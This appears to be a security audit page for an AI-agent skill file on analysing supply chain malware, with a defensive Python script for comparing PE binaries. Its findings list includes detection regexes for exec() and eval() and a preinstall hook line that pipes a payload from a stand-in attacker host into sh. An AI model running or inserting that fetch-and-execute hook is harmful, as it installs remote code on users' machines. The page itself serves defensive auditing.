Analyzing Supply Chain Malware ArtifactsBLOCK

817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains ·

The instruction file, verbatim from the audited commit — this is the text the model reads, and the surface the audit's instruction layer examines. Quoted here so you can judge it without cloning anything.

---
name: analyzing-supply-chain-malware-artifacts
description: Investigate supply chain attack artifacts including trojanized software
  updates, compromised build pipelines, and sideloaded dependencies to identify intrusion
  vectors and scope of compromise.
domain: cybersecurity
subdomain: malware-analysis
tags:
- supply-chain
- malware-analysis
- trojanized-software
- solarwinds
- 3cx
- dependency-confusion
- software-integrity
version: '1.0'
author: mahipal
license: Apache-2.0
atlas_techniques:
- AML.T0010
nist_ai_rmf:
- GOVERN-5.2
- MAP-1.6
- MANAGE-2.2
d3fend_techniques:
- Platform Hardening
- Hardware Component Inventory
- Restore Object
- Electromagnetic Radiation Hardening
- RF Shielding
nist_csf:
- DE.AE-02
- RS.AN-03
- ID.RA-01
- DE.CM-01
mitre_attack:
- T1195.002
- T1195.001
- T1554
- T1553.002
- T1027
---
# Analyzing Supply Chain Malware Artifacts

## Overview

Supply chain attacks compromise legitimate software distribution channels to deliver malware through trusted update mechanisms. Notable examples include SolarWinds SUNBURST (2020, affecting 18,000+ customers), 3CX SmoothOperator (2023, a cascading supply chain attack originating from Trading Technologies), and numerous npm/PyPI package poisoning campaigns. Analysis involves comparing trojanized binaries against legitimate versions, identifying injected code in build artifacts, examining code signing anomalies, and tracing the infection chain from initial compromise through payload delivery. As of 2025, supply chain attacks account for 30% of all breaches, a 100% increase from prior years.


## When to Use

- When investigating security incidents that require analyzing supply chain malware artifacts
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques

## Prerequisites

- Python 3.9+ with `pefile`, `ssdeep`, `hashlib`
- Binary diff tools (BinDiff, Diaphora)
- Code signing verification tools (sigcheck, codesign)
- Software composition analysis (SCA) tools
- Access to legitimate software versions for comparison
- Package repository monitoring (npm, PyPI, NuGet)

## Workflow

### Step 1: Binary Comparison Analysis

```python
#!/usr/bin/env python3
"""Compare trojanized binary against legitimate version."""
import hashlib
import pefile
import sys
import json


def compare_pe_files(legitimate_path, suspect_path):
    """Compare PE file structures between legitimate and suspect versions."""
    legit_pe = pefile.PE(legitimate_path)
    suspect_pe = pefile.PE(suspect_path)

    report = {"differences": [], "suspicious_sections": [], "import_changes": []}

    # Compare sections
    legit_sections = {s.Name.rstrip(b'\x00').decode(): {
        "size": s.SizeOfRawData,
        "entropy": s.get_entropy(),
        "characteristics": s.Characteristics,
    } for s in legit_pe.sections}

    suspect_sections = {s.Name.rstrip(b'\x00').decode(): {
        "size": s.SizeOfRawData,
        "entropy": s.get_entropy(),
        "characteristics": s.Characteristics,
    } for s in suspect_pe.sections}

    # Find new or modified sections
    for name, props in suspect_sections.items():
        if name not in legit_sections:
            report["suspicious_sections"].append({
                "name": name, "reason": "New section not in legitimate version",
                "size": props["size"], "entropy": round(props["entropy"], 2),
            })
        elif abs(props["size"] - legit_sections[name]["size"]) > 1024:
            report["suspicious_sections"].append({
                "name": name, "reason": "Section size significantly changed",
                "legit_size": legit_sections[name]["size"],
                "suspect_size": props["size"],
            })

    # Compare imports
    legit_imports = set()
    if hasattr(legit_pe, 'DIRECTORY_ENTRY_IMPORT'):
        for entry in legit_pe.DIRECTORY_ENTRY_IMPORT:
            for imp in entry.imports:
                if imp.name:
                    legit_imports.add(f"{entry.dll.decode()}!{imp.name.decode()}")

    suspect_imports = set()
    if hasattr(suspect_pe, 'DIRECTORY_ENTRY_IMPORT'):
        for entry in suspect_pe.DIRECTORY_ENTRY_IMPORT:
            for imp in entry.imports:
                if imp.name:
                    suspect_imports.add(f"{entry.dll.decode()}!{imp.name.decode()}")

    new_imports = suspect_imports - legit_imports
    if new_imports:
        report["import_changes"] = list(new_imports)

    # Check code signing
    report["legit_signed"] = bool(legit_pe.OPTIONAL_HEADER.DATA_DIRECTORY[4].Size)
    report["suspect_signed"] = bool(suspect_pe.OPTIONAL_HEADER.DATA_DIRECTORY[4].Size)

    return report


def hash_file(filepath):
    """Calculate multiple hashes for a file."""
    hashes = {}
    with open(filepath, 'rb') as f:
        data = f.read()
    for algo in ['md5', 'sha1', 'sha256']:
        h = hashlib.new(algo)
        h.update(data)
        hashes[algo] = h.hexdigest()
    return hashes


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <legitimate_binary> <suspect_binary>")
        sys.exit(1)
    report = compare_pe_files(sys.argv[1], sys.argv[2])
    print(json.dumps(report, indent=2))
```

## Validation Criteria

- Trojanized components identified through binary diffing
- Injected code isolated and analyzed separately
- Code signing anomalies documented
- Infection timeline reconstructed from build artifacts
- Downstream impact scope assessed across affected systems
- IOCs extracted for detection and blocking

## References

- [ReversingLabs - 3CX Supply Chain Analysis](https://www.reversinglabs.com/blog/what-went-wrong-with-the-3cx-software-supply-chain-attack-and-how-it-could-have-been-prevented)
- [Fortinet - SolarWinds Supply Chain Attack](https://www.fortinet.com/resources/cyberglossary/solarwinds-cyber-attack)
- [Picus - 3CX SmoothOperato

BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.

What the source does

Filesystem

none-observed

Network

declared (2 observation(s))

Shell

declared (3 observation(s))

Dependencies

pinned

Secrets in source

none-found

Findings (3)

(r"exec\(", "exec() code execution"),

(r"eval\(", "eval() code execution"),

"preinstall": "curl evil[.]example/payload | sh",

Gates applied: no_behavioural_pass.